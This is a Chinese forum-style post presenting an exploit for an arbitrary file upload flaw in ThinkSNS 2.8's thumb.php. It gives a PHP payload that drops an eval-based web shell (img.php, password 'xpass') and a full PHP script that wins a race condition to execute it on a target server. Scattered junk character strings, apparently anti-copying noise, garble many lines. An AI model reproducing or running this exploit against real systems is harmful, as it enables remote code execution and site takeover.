Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
- W' ^* A" @2 W存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
+ Q! f0 |# h; p! N& z( O存在漏洞的文件为：thumb.php
作者：韦鲲鹏
3 h7 }/ i+ W/ D6 F; @5 i. U" v0 E1、        准备如下PHP文件并上传到服务器（自己的）。
( D  e) j' y7 K5 z% @/ F4 h文件内容如下：
! c' E0 Z1 p" G7 ]5 b<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
% R& Y) l( m0 g9 L# x" ~5 [2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。

' m0 N& E* b6 ^3、        上传临时文件。
4、        访问临时文件。
1 t* M% c: D2 |3 U5 s但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
<?php
4 I* k& z' T6 ]5 w7 z  |error_reporting(0);
6 O% R9 m( F6 q. r/ x) Kset_time_limit(0);
ini_set(“default_socket_timeout”, 5);
function http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
2 P) t. x) o4 k- \% M/ pfputs($fp, $headers);
return $fp;
}
function http_recv($fp) {
2 \( O/ x6 Z. w2 g9 f  Q$ret=”";
4 u* D9 y3 ^9 o7 nwhile (!feof($fp))
# a: G4 U) j) W  h5 X, q$ret.= fgets($fp, 1024);
fclose($fp);
return $ret;
}
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
}
$host = $argv[1];
# w" m  A/ L1 A8 z8 }/ w9 d1 I$path = $argv[2];
$url = $argv[3];
" W6 i- @! q& @6 L7 K9 {$ e+ x# N) H$i=0;
//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
! ]' Z2 W& u- r' pecho $headers_up;
/ e7 {+ e9 M5 ~5 o; Y$ P0 Z//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
4 x9 ?% u( b* h  W" w1 M/ F5 S7 l$headers .= “Connection: close\r\n\r\n”;
4 p9 e4 T4 M: k, i8 n6 G- M7 Yecho $headers;
while(++$i<10) {
fclose(http_send($host, 80, $headers));
) s; I0 L' M+ O0 I! V3 }7 V9 z}
; r$ M( W4 f: L5 P1 Yfclose(http_send($host, 80, $headers_up));
while(++$i<50) {
6 [4 @) u( ^: W/ t! `fclose(http_send($host, 80, $headers));
}
! O5 \4 l( W# ^* C$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
/ T) s  ]/ P' ~( f- X3 J$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
! t6 X3 P7 @& t8 Q" R# ^5 x, Oif(preg_match(‘/200 OK/’,$res)) {
- e+ n  |) |2 H: {! Fprint “Success!\n\n”;
} else {
) D1 a% K5 ?! _1 ]" Cprint “Fail!\n\n”;
}
: h) o9 V2 P5 s# l?>
​